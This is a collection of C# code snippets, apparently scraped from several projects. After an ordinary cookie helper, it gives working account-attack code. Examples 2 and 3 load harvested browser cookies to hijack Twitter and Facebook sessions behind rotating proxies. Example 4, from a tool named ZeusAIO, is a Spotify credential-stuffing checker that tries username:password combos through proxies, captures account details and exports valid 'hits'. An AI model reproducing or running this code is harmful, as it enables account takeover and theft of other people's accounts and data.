Example #1
0
        /// <summary>
        /// Make cookie jar and add as header
        /// </summary>
        /// <param name="name">Cookie name</param>
        /// <param name="value">Cookie value</param>
        public Request AddCookies(string name, string value)
        {
            // Create cookie
            Cookie cookie = new Cookie(name, value)
            {
                // Set domain
                Domain = URL.Host,

                // Set path
                Path = URL.PathAndQuery
            };

            // Add cookie
            cookies.Add(cookie);

            // Return method
            return(this);
        }
Example #2
0
        public bool Authorization()
        {
            if (!AccountData.Cookies.Any())
            {
                return(false);
            }

            var storage = new CookieStorage();

            foreach (var cookie in AccountData.Cookies)
            {
                try
                {
                    storage.Add(new Cookie(cookie.name, cookie.value, cookie.path, cookie.host_key));
                }
                catch { continue; }
            }
            _request.Cookies = storage;

            if (EnableProxies)
            {
                _request.Proxy = ProxyProvider.GetProxy();
            }

            var reconnectCount = 3;

            do
            {
                try
                {
                    _request.AddHeader("Pragma", "no-cache");
                    _request.AddHeader("Cache-Control", "no-cache");
                    _request.AddHeader("Origin", "https://twitter.com");
                    _request.AddHeader("Upgrade-Insecure-Requests", "1");
                    _request.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3");
                    _request.AddHeader("Referer", "https://google.com");
                    _request.AddHeader(HttpHeader.AcceptLanguage, "ru,en;q=0.9");

                    _request.Get("https://twitter.com").None(); //Get cookies and check proxy
                    break;
                }
                catch (HttpException)
                {
                    if (EnableProxies)
                    {
                        _request.Proxy = ProxyProvider.GetProxy();
                    }
                    reconnectCount--;
                }
                catch
                {
                    reconnectCount--;
                }
            } while (reconnectCount != 0);

            APIBuildHeaders();
            try
            {
                var response = _request.Get("https://api.twitter.com/1.1/account/verify_credentials.json");
                if (response.IsOK)
                {
                    VerifyCredentials    = JsonConvert.DeserializeObject <VerifyCredentials>(response.ToString());
                    AccountData.Username = VerifyCredentials.ScreenName;

                    IsAuthorized = true;
                }
                else
                {
                    IsAuthorized = false;
                }
                return(IsAuthorized);
            }
            catch (HttpException)
            {
                if (EnableProxies)
                {
                    _request.Proxy = ProxyProvider.GetProxy();
                }
                return(IsAuthorized);
            }
            catch (Exception)
            {
                return(IsAuthorized);
            }
        }
Example #3
0
        public bool Authorization()
        {
            if (!AccountData.Cookies.Any())
            {
                return(false);
            }

            var storage = new CookieStorage();

            foreach (var cookie in AccountData.Cookies)
            {
                try
                {
                    if (cookie.name == "c_user")
                    {
                        actor_id = cookie.value;
                    }
                    storage.Add(new Cookie(cookie.name, cookie.value, cookie.path, cookie.domain));
                }
                catch { continue; }
            }
            _request.Cookies = storage;

            if (EnableProxies)
            {
                _request.Proxy = _proxyProvider.GetProxy();
            }

            var reconnectCount = 3;

            do
            {
                try
                {
                    _request["Accept-Language"] = "en-US,en;q=0.9,ru-RU;q=0.8,ru;q=0.7";
                    _request["Origin"]          = "https://www.facebook.com";
                    _request["Referer"]         = "https://www.facebook.com/";
                    _request["content-type"]    = "application/x-www-form-urlencoded";

                    var response = _request.Get("https://www.facebook.com/");
                    fb_dtsg = Regex.Match(response.ToString(), "\"token\":\"(.*?)\"").Groups[1].Value;

                    if (!string.IsNullOrWhiteSpace(fb_dtsg))
                    {
                        IsAuthorized = true;
                    }
                    else
                    {
                        IsAuthorized = false;
                    }

                    break;
                }
                catch (HttpException)
                {
                    if (EnableProxies)
                    {
                        _request.Proxy = _proxyProvider.GetProxy();//Reconnecting to another proxy
                        reconnectCount--;
                    }
                    else
                    {
                        break;
                    }
                }
                catch
                {
                    break;
                }
            } while (reconnectCount != 0);

            return(IsAuthorized);
        }
Example #4
0
        public static bool CheckAccount(string[] s, string proxy)
        {
            for (int i = 0; i < Config.config.Retries + 1; i++)
            {
                while (true)
                {
                    try
                    {
Retry:
                        using (HttpRequest req = new HttpRequest())
                        {
                            proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                            if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                            {
                                req.Proxy = HttpProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                            {
                                req.Proxy = Socks4ProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                            {
                                req.Proxy = Socks5ProxyClient.Parse(proxy);
                            }

                            CookieStorage cookies     = new CookieStorage();
                            string        captchaResp = SpotifyGetCSRF(ref cookies, req.Proxy);

                            if (captchaResp == "")
                            {
                                ZeusAIO.mainmenu.errors++;
                                continue;
                            }

                            string csrf = cookies.GetCookies("https://accounts.spotify.com")["csrf_token"].Value;

                            req.Cookies   = cookies;
                            req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36";
                            req.AddHeader("Content-Type", "application/x-www-form-urlencoded");
                            req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                            //req.AddHeader("Cookie", "__bon=MHwwfC0yODU4Nzc4NjN8LTEyMDA2ODcwMjQ2fDF8MXwxfDE=;");
                            cookies.Add(new System.Net.Cookie("__bon", "MHwwfC0yODU4Nzc4NjN8LTEyMDA2ODcwMjQ2fDF8MXwxfDE=", "/", "accounts.spotify.com"));
                            req.Cookies = cookies;
                            req.Referer = "https://accounts.spotify.com/en/login/?continue=https:%2F%2Fwww.spotify.com%2Fapi%2Fgrowth%2Fl2l-redirect&_locale=en-AE";


                            HttpResponse res         = req.Post(new Uri("https://accounts.spotify.com/login/password"), new BytesContent(Encoding.Default.GetBytes($"remember=true&continue=https%3A%2F%2Fwww.spotify.com%2Fapi%2Fgrowth%2Fl2l-redirect&username={s[0]}&password={s[1]}&recaptchaToken={captchaResp}&csrf_token={csrf}")));
                            string       strResponse = res.ToString();
                            if (strResponse.Contains("\"result\":\"ok\""))
                            {
                                string capture = "";

                                for (int i2 = 0; i2 < 4 + 1; i2++)
                                {
                                    capture = SpotifyGetCaptures(cookies);
                                    if (capture != "")
                                    {
                                        break;
                                    }
                                }

                                if (capture == "")
                                {
                                    ZeusAIO.mainmenu.hits++;
                                    if (Config.config.LogorCui == "2")
                                    {
                                        Console.WriteLine("[HIT - SPOTIFY] " + s[0] + ":" + s[1] + " | Capture Failed", Color.Green);
                                    }
                                    Export.AsResult("/Spotify_hits", s[0] + ":" + s[1] + " | Capture Failed");
                                    return(false);
                                }
                                ZeusAIO.mainmenu.hits++;
                                if (Config.config.LogorCui == "2")
                                {
                                    Console.WriteLine("[HIT - SPOTIFY] " + s[0] + ":" + s[1] + " | " + capture, Color.Green);
                                }
                                Export.AsResult("/Spotify_hits", s[0] + ":" + s[1] + " | " + capture);
                                return(false);
                            }
                            else if (strResponse.Contains("{\"error\":\"errorInvalidCredentials\"}"))
                            {
                                break;
                            }
                            else
                            {
                                ZeusAIO.mainmenu.realretries++;
                                goto Retry;
                            }
                        }
                    }
                    catch (Exception e)
                    {
                        ZeusAIO.mainmenu.errors++;
                    }
                }
            }
            return(false);
        }